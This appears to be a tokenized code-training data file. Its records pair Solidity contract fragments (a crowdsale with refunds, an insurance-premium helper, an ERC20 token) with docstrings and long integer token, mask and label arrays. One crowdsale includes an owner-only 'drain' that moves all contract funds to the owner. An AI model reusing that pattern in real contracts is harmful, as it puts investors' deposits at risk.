totalSupply.Add(tokensBought/100); } assert(totalSupply <= MAXCAP); totalWeiReceived = totalWeiReceived.Add(msg.value); ethCollector.transfer(msg.value); } /** * @dev This function is used to register a referral. * Whoever calls this function, is telling contract, * that "I was referred by referredByAddress" * Whenever I am going to buy tokens, 10% will be awarded to referredByAddress * * @param referredByAddress The address of person who referred the person calling this function */ function registerReferral (address referredByAddress) public { require(msg.sender != referredByAddress && referredByAddress != address(0)); referredBy[msg.sender] = referredByAddress; } /** * @dev Owner is allowed to manually register who was referred by whom * @param heWasReferred The address of person who was referred * @param I_referred_this_person The person who referred the above address */ function referralRegistration(address heWasReferred, address I_referred_this_person) public onlyOwner { require(heWasReferred != address(0) && I_referred_this_person != address(0)); referredBy[heWasReferred] = I_referred_this_person; } /** * Finalize the crowdsale */ function finalize() public onlyOwner { //Make sure Sale is running assert(saleRunning); if(MAXCAP.Sub(totalSupply) <= 1 ether || now > endTime){ //now sale can be finished saleRunning = false; } //Refund eligible or not // 0: sale not started yet, refunding invalid // 1: refund not required // 2: softcap not reached, refund required // 3: Refund in progress // 4: Everyone refunded //Checks if the fundraising goal is reached in crowdsale or not if (totalWeiReceived < SOFTCAP) refundStatus = 2; else refundStatus = 1; //crowdsale is ended saleRunning = false; //enable transferring of tokens among token holders locked = false; //Emit event when crowdsale state changes StateChanged(true); } /** * Refund the investors in case target of crowdsale not achieved */ function refund() public onlyOwner { assert(refundStatus == 2 || refundStatus == 3); uint batchSize = countInvestorsRefunded.Add(30) < countTotalInvestors ? countInvestorsRefunded.Add(30): countTotalInvestors; for(uint i=countInvestorsRefunded.Add(1); i <= batchSize; i++){ address investorAddress = investorList[i]; Investor storage investorStruct = investors[investorAddress]; //If purchase has been made during CrowdSale if(investorStruct.tokensPurchased > 0 && investorStruct.tokensPurchased <= balances[investorAddress]){ //return everything investorAddress.transfer(investorStruct.weiReceived); //Reduce totalWeiReceived totalWeiReceived = totalWeiReceived.Sub(investorStruct.weiReceived); //Update totalSupply totalSupply = totalSupply.Sub(investorStruct.tokensPurchased); // reduce balances balances[investorAddress] = balances[investorAddress].Sub(investorStruct.tokensPurchased); //set everything to zero after transfer successful investorStruct.weiReceived = 0; investorStruct.tokensPurchased = 0; investorStruct.refunded = true; } } //Update the number of investors that have recieved refund countInvestorsRefunded = batchSize; if(countInvestorsRefunded == countTotalInvestors){ refundStatus = 4; } StateChanged(true); } function extendSale(uint56 numberOfDays) public onlyOwner{ saleRunning = true; endTime = now.Add(numberOfDays*86400); StateChanged(true); } /** * @dev This will receive ether from owner so that the contract has balance while refunding * */ function prepareForRefund() public payable {} function () public payable { buyTokens(msg.sender); } /** * Failsafe drain */ function drain() public onlyOwner { owner.transfer(this.balance); } }
* @dev Calculate number of tokens that will be received in one ether/zero indicates that no tokens will be allocated when total supplyof 21 million tokens is reached
function getPrice() public view returns(uint256) { uint256 price; if(totalSupply <= 1e6*1e18) price = 13330; else if(totalSupply <= 5e6*1e18) price = 12500; else if(totalSupply <= 9e6*1e18) price = 11760; else if(totalSupply <= 13e6*1e18) price = 11110; else if(totalSupply <= 17e6*1e18) price = 10520; else if(totalSupply <= 21e6*1e18) price = 10000; else{ price = 0; } return price; }
1,781,017
[ 1, 8695, 1300, 434, 2430, 716, 903, 506, 5079, 316, 1245, 225, 2437, 19, 7124, 8527, 716, 1158, 2430, 903, 506, 11977, 1347, 2078, 14467, 792, 9035, 312, 737, 285, 2430, 353, 8675, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 25930, 1435, 1071, 1476, 1135, 12, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 6205, 31, 203, 3639, 309, 12, 4963, 3088, 1283, 1648, 404, 73, 26, 14, 21, 73, 2643, 13, 203, 5411, 6205, 273, 30537, 5082, 31, 203, 3639, 469, 309, 12, 4963, 3088, 1283, 1648, 1381, 73, 26, 14, 21, 73, 2643, 13, 203, 5411, 6205, 273, 2593, 12483, 31, 203, 3639, 469, 309, 12, 4963, 3088, 1283, 1648, 2468, 73, 26, 14, 21, 73, 2643, 13, 203, 5411, 6205, 273, 27894, 4848, 31, 203, 3639, 469, 309, 12, 4963, 3088, 1283, 1648, 5958, 73, 26, 14, 21, 73, 2643, 13, 203, 5411, 6205, 273, 16344, 2163, 31, 203, 3639, 469, 309, 12, 4963, 3088, 1283, 1648, 8043, 73, 26, 14, 21, 73, 2643, 13, 203, 5411, 6205, 273, 23633, 3462, 31, 203, 3639, 469, 309, 12, 4963, 3088, 1283, 1648, 9035, 73, 26, 14, 21, 73, 2643, 13, 203, 5411, 6205, 273, 12619, 31, 203, 3639, 469, 95, 203, 5411, 6205, 273, 374, 31, 203, 3639, 289, 203, 3639, 327, 6205, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xDe0462dDF2FFc915ab5365AD280e5bd2c768170C/sources/browser/testt.sol
require(success, "ERR_ETH_FAILED"); WETH.transfer( msg.sender, WETH.balanceOf(address(this)));
function withdrawExactToken(address me) public onlyOwner discountCHI{ ERC20 SendMe = ERC20(me); SendMe.transfer( msg.sender, SendMe.balanceOf(address(this))); }
3,866,954
[ 1, 6528, 12, 4768, 16, 315, 9712, 67, 1584, 44, 67, 11965, 8863, 678, 1584, 44, 18, 13866, 12, 1234, 18, 15330, 16, 678, 1584, 44, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 14332, 1345, 12, 2867, 1791, 13, 1071, 1338, 5541, 12137, 1792, 45, 95, 203, 565, 4232, 39, 3462, 2479, 4667, 273, 4232, 39, 3462, 12, 3501, 1769, 203, 203, 203, 565, 2479, 4667, 18, 13866, 12, 1234, 18, 15330, 16, 2479, 4667, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 1769, 203, 377, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../common/BaseRelayRecipient.sol"; import "../common/Migratable.sol"; import "../common/NonReentrancy.sol"; import "../interfaces/IAssetManager.sol"; import "../interfaces/IBuyer.sol"; import "../interfaces/IRegistry.sol"; import "../interfaces/ISeller.sol"; interface IRetailPremiumCalculator { function getPremiumRate(uint16 assetIndex_, address who_) external view returns(uint256); } contract RetailHelper is Ownable, NonReentrancy, BaseRelayRecipient, Migratable { using SafeERC20 for IERC20; using SafeMath for uint256; string public override versionRecipient = "1.0.0"; uint256 public constant PRICE_BASE = 1e18; uint256 public constant RATIO_BASE = 1e18; IRegistry public registry; IRetailPremiumCalculator public retailPremiumCalculator; mapping(address => bool) public updaterMap; modifier onlyUpdater() { require(updaterMap[msg.sender], "The caller does not have updater role privileges"); _; } struct UserInfo { uint256 balanceBase; uint256 balanceAsset; uint256 premiumBase; uint256 premiumAsset; uint256 weekUpdated; // The week that UserInfo was updated } mapping(uint16 => mapping(address => UserInfo)) public userInfoMap; struct AssetInfo { // The token address here is supposed to be the same as the token adress // in assetManager. However we don't use the one in assetManager because // sometimes we don't want to setup guarantor for certain assets but do // allow them to use ResellHelper. address token; address recipient; uint256 futureCapacityOffset; uint256 futureTokenPrice; uint256 capacityOffset; uint256 tokenPrice; uint256 subscriptionRatio; uint256 weekUpdated; // The week that AssetInfo was updated } mapping(uint16 => AssetInfo) public assetInfoMap; struct Subscription { uint256 currentBase; uint256 currentAsset; uint256 futureBase; uint256 futureAsset; } mapping(uint16 => Subscription) public subscriptionByAsset; mapping(uint16 => mapping(address => Subscription)) public subscriptionByUser; event ChangeCapacityOffset(address indexed who_, uint16 indexed assetIndex_, uint256 capacityOffset_); event ChangeTokenPrice(address indexed who_, uint16 indexed assetIndex_, uint256 tokenPrice_); event UpdateAsset(uint16 indexed assetIndex_); event UpdateUser(address indexed who_, uint16 indexed assetIndex_); event DepositBase(address indexed who_, uint16 indexed assetIndex_, uint256 amount_); event DepositAsset(address indexed who_, uint16 indexed assetIndex_, uint256 amount_); event WithdrawBase(address indexed who_, uint16 indexed assetIndex_, uint256 amount_); event WithdrawAsset(address indexed who_, uint16 indexed assetIndex_, uint256 amount_); event AdjustSubscriptionBase(address indexed who_, uint16 indexed assetIndex_, uint256 amount_); event AdjustSubscriptionAsset(address indexed who_, uint16 indexed assetIndex_, uint256 amount_); constructor (IRegistry registry_) public { registry = registry_; } function _msgSender() internal override(Context, BaseRelayRecipient) view returns (address payable) { return BaseRelayRecipient._msgSender(); } function _trustedForwarder() internal override view returns(address) { return registry.trustedForwarder(); } function _migrationCaller() internal override view returns(address) { return owner(); } function migrate(uint16 assetIndex_) external lock { require(address(migrateTo) != address(0), "Destination not set"); AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; UserInfo storage userInfo = userInfoMap[assetIndex_][_msgSender()]; require(userInfo.balanceBase > 0 || userInfo.balanceAsset > 0, "Empty account"); if (userInfo.balanceBase > 0) { IERC20(registry.baseToken()).safeTransfer(address(migrateTo), userInfo.balanceBase); migrateTo.onMigration(_msgSender(), userInfo.balanceBase, abi.encodePacked(assetIndex_, true)); userInfo.balanceBase = 0; } if (userInfo.balanceAsset > 0 && assetInfo.token != address(0)) { IERC20(assetInfo.token).safeTransfer(address(migrateTo), userInfo.balanceAsset); migrateTo.onMigration(_msgSender(), userInfo.balanceAsset, abi.encodePacked(assetIndex_, false)); userInfo.balanceAsset = 0; } } function setUpdater(address _who, bool _isUpdater) external onlyOwner { updaterMap[_who] = _isUpdater; } function setRetailPremiumCalculator(IRetailPremiumCalculator retailPremiumCalculator_) external onlyOwner { retailPremiumCalculator = retailPremiumCalculator_; } function setAssetInfo( uint16 assetIndex_, address token_, address recipient_, uint256 capacityOffset_ ) external onlyOwner { require(recipient_ != address(0), "recipient_ is zero"); // token_ can be zero, and capacityOffset_ can be zero too. assetInfoMap[assetIndex_].token = token_; assetInfoMap[assetIndex_].recipient = recipient_; assetInfoMap[assetIndex_].capacityOffset = capacityOffset_; } function changeCapacityOffset( uint16 assetIndex_, uint256 capacityOffset_ ) external { require(_msgSender() == assetInfoMap[assetIndex_].recipient, "Only recipient can change"); assetInfoMap[assetIndex_].futureCapacityOffset = capacityOffset_; emit ChangeCapacityOffset(_msgSender(), assetIndex_, capacityOffset_); } function changeTokenPrice( uint16 assetIndex_, uint256 tokenPrice_ ) external onlyUpdater { assetInfoMap[assetIndex_].futureTokenPrice = tokenPrice_; emit ChangeTokenPrice(_msgSender(), assetIndex_, tokenPrice_); } function getCurrentWeek() public view returns(uint256) { return (now + (4 days)) / (7 days); // 4 days is the offset. } function getPremiumRate(uint16 assetIndex_, address who_) public view returns(uint256) { return IRetailPremiumCalculator(retailPremiumCalculator).getPremiumRate(assetIndex_, who_); } function getEffectiveCapacity(uint16 assetIndex_) public view returns(uint256) { AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; uint256 sellerAssetBalance = ISeller(registry.seller()).assetBalance(assetIndex_); uint256 buyerSubscription = IBuyer(registry.buyer()).currentSubscription(assetIndex_); uint256 allCapacity = sellerAssetBalance < buyerSubscription ? sellerAssetBalance : buyerSubscription; if (allCapacity <= assetInfo.capacityOffset) { return 0; } else { return allCapacity.sub(assetInfo.capacityOffset); } } // Step 1. function updateAsset(uint16 assetIndex_) external lock onlyUpdater { uint256 currentWeek = getCurrentWeek(); AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; require(assetInfo.recipient != address(0), "Recipient is zero"); require(assetInfo.weekUpdated < currentWeek, "Already called"); // Uses future configurations. assetInfo.capacityOffset = assetInfo.futureCapacityOffset; assetInfo.tokenPrice = assetInfo.futureTokenPrice; Subscription storage subscription = subscriptionByAsset[assetIndex_]; uint256 actualSubscription = subscription.futureBase.add( subscription.futureAsset); uint256 effectiveCapacity = getEffectiveCapacity(assetIndex_); if (actualSubscription > effectiveCapacity) { subscription.currentBase = subscription.futureBase.mul( effectiveCapacity).div(actualSubscription); subscription.currentAsset = subscription.futureAsset.mul( effectiveCapacity).div(actualSubscription); assetInfo.subscriptionRatio = effectiveCapacity.mul(RATIO_BASE).div(actualSubscription); } else { subscription.currentBase = subscription.futureBase; subscription.currentAsset = subscription.futureAsset; assetInfo.subscriptionRatio = RATIO_BASE; } assetInfoMap[assetIndex_].weekUpdated = currentWeek; // This week. emit UpdateAsset(assetIndex_); } function _getPremiumBase(uint16 assetIndex_, address who_) private view returns(uint256) { AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; Subscription storage subscription = subscriptionByUser[assetIndex_][who_]; return subscription.futureBase.mul( getPremiumRate(assetIndex_, who_)).div( registry.PREMIUM_BASE()).mul( assetInfo.subscriptionRatio) / RATIO_BASE; // HACK: '/' instead of .div to prevent "Stack too deep" error. } function _getPremiumAsset(uint16 assetIndex_, address who_) private view returns(uint256) { AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; Subscription storage subscription = subscriptionByUser[assetIndex_][who_]; return subscription.futureAsset.mul( getPremiumRate(assetIndex_, who_)).div( registry.PREMIUM_BASE()).mul( PRICE_BASE).div( assetInfo.tokenPrice).mul( assetInfo.subscriptionRatio) / RATIO_BASE; // HACK: '/' instead of .div to prevent "Stack too deep" error. } // Step 2. function updateUser(address who_, uint16 assetIndex_) external lock onlyUpdater { require(who_ != address(0), "who_ is zero"); uint256 currentWeek = getCurrentWeek(); AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; UserInfo storage userInfo = userInfoMap[assetIndex_][who_]; Subscription storage subscription = subscriptionByUser[assetIndex_][who_]; require(assetInfo.recipient != address(0), "Recipient is zero"); require(assetInfo.weekUpdated == currentWeek, "updateAsset first"); require(userInfo.weekUpdated < currentWeek, "Already called"); // Maybe deduct premium as base. uint256 premiumBase = _getPremiumBase(assetIndex_, who_); if (userInfo.balanceBase >= premiumBase) { userInfo.balanceBase = userInfo.balanceBase.sub(premiumBase); userInfo.premiumBase = premiumBase; subscription.currentBase = subscription.futureBase.mul( assetInfo.subscriptionRatio).div(RATIO_BASE); IERC20(registry.baseToken()).safeTransfer(assetInfo.recipient, premiumBase); } else { userInfo.premiumBase = 0; subscription.currentBase = 0; } // Maybe deduct premium as asset. if (assetInfo.token != address(0)) { require(assetInfo.tokenPrice > 0, "Price is zero"); uint256 premiumAsset = _getPremiumAsset(assetIndex_, who_); if (userInfo.balanceAsset >= premiumAsset) { userInfo.balanceAsset = userInfo.balanceAsset.sub(premiumAsset); userInfo.premiumAsset = premiumAsset; subscription.currentAsset = subscription.futureAsset.mul( assetInfo.subscriptionRatio).div(RATIO_BASE); IERC20(assetInfo.token).safeTransfer(assetInfo.recipient, premiumAsset); } else { userInfo.premiumAsset = 0; subscription.currentAsset = 0; } } userInfo.weekUpdated = currentWeek; // This week. emit UpdateUser(who_, assetIndex_); } function depositBase(uint16 assetIndex_, uint256 amount_) external lock { AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; UserInfo storage userInfo = userInfoMap[assetIndex_][_msgSender()]; require(amount_ > 0, "amount_ is zero"); require(assetInfo.recipient != address(0), "Recipient is zero"); require(userInfo.weekUpdated == getCurrentWeek() || userInfo.weekUpdated == 0, "User not updated yet"); IERC20(registry.baseToken()).safeTransferFrom(_msgSender(), address(this), amount_); userInfo.balanceBase = userInfo.balanceBase.add(amount_); emit DepositBase(_msgSender(), assetIndex_, amount_); } function depositAsset(uint16 assetIndex_, uint256 amount_) external lock { AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; UserInfo storage userInfo = userInfoMap[assetIndex_][_msgSender()]; require(amount_ > 0, "amount_ is zero"); require(assetInfo.token != address(0), "token is zero"); require(assetInfo.recipient != address(0), "Recipient is zero"); IERC20(assetInfo.token).safeTransferFrom( _msgSender(), address(this), amount_); userInfo.balanceAsset = userInfo.balanceAsset.add(amount_); emit DepositAsset(_msgSender(), assetIndex_, amount_); } function withdrawBase(uint16 assetIndex_, uint256 amount_) external lock { AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; UserInfo storage userInfo = userInfoMap[assetIndex_][_msgSender()]; require(amount_ > 0, "amount_ is zero"); require(assetInfo.recipient != address(0), "Recipient is zero"); require(userInfo.balanceBase >= amount_, "not enough balance"); IERC20(registry.baseToken()).safeTransfer(_msgSender(), amount_); userInfo.balanceBase = userInfo.balanceBase.sub(amount_); emit WithdrawBase(_msgSender(), assetIndex_, amount_); } function withdrawAsset(uint16 assetIndex_, uint256 amount_) external lock { AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; UserInfo storage userInfo = userInfoMap[assetIndex_][_msgSender()]; require(amount_ > 0, "amount_ is zero"); require(assetInfo.token != address(0), "token is zero"); require(assetInfo.recipient != address(0), "Recipient is zero"); require(userInfo.balanceAsset >= amount_, "not enough balance"); IERC20(assetInfo.token).safeTransfer(_msgSender(), amount_); userInfo.balanceAsset = userInfo.balanceAsset.sub(amount_); emit WithdrawAsset(_msgSender(), assetIndex_, amount_); } function adjustSubscriptionBase(uint16 assetIndex_, uint256 amount_) external { AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; require(assetInfo.recipient != address(0), "Recipient is zero"); subscriptionByAsset[assetIndex_].futureBase = subscriptionByAsset[assetIndex_].futureBase.add( amount_).sub( subscriptionByUser[assetIndex_][_msgSender()].futureBase); subscriptionByUser[assetIndex_][_msgSender()].futureBase = amount_; emit AdjustSubscriptionBase(_msgSender(), assetIndex_, amount_); } function adjustSubscriptionAsset(uint16 assetIndex_, uint256 amount_) external { AssetInfo storage assetInfo = assetInfoMap[assetIndex_]; require(assetInfo.token != address(0), "token is zero"); require(assetInfo.recipient != address(0), "Recipient is zero"); subscriptionByAsset[assetIndex_].futureAsset = subscriptionByAsset[assetIndex_].futureAsset.add( amount_).sub( subscriptionByUser[assetIndex_][_msgSender()].futureAsset); subscriptionByUser[assetIndex_][_msgSender()].futureAsset = amount_; emit AdjustSubscriptionAsset(_msgSender(), assetIndex_, amount_); } }
token_ can be zero, and capacityOffset_ can be zero too.
function setAssetInfo( uint16 assetIndex_, address token_, address recipient_, uint256 capacityOffset_ ) external onlyOwner { require(recipient_ != address(0), "recipient_ is zero"); assetInfoMap[assetIndex_].token = token_; assetInfoMap[assetIndex_].recipient = recipient_; assetInfoMap[assetIndex_].capacityOffset = capacityOffset_; }
13,109,179
[ 1, 2316, 67, 848, 506, 3634, 16, 471, 7519, 2335, 67, 848, 506, 3634, 4885, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 6672, 966, 12, 203, 3639, 2254, 2313, 3310, 1016, 67, 16, 203, 3639, 1758, 1147, 67, 16, 203, 3639, 1758, 8027, 67, 16, 203, 3639, 2254, 5034, 7519, 2335, 67, 203, 565, 262, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 20367, 67, 480, 1758, 12, 20, 3631, 315, 20367, 67, 353, 3634, 8863, 203, 203, 3639, 3310, 966, 863, 63, 9406, 1016, 67, 8009, 2316, 273, 1147, 67, 31, 203, 3639, 3310, 966, 863, 63, 9406, 1016, 67, 8009, 20367, 273, 8027, 67, 31, 203, 3639, 3310, 966, 863, 63, 9406, 1016, 67, 8009, 16017, 2335, 273, 7519, 2335, 67, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Twitter : https://twitter.com/ElonInuERC // Website : ElonInuERC.com // Telegram : https://t.me/ElonInuEntry // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using this function * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default 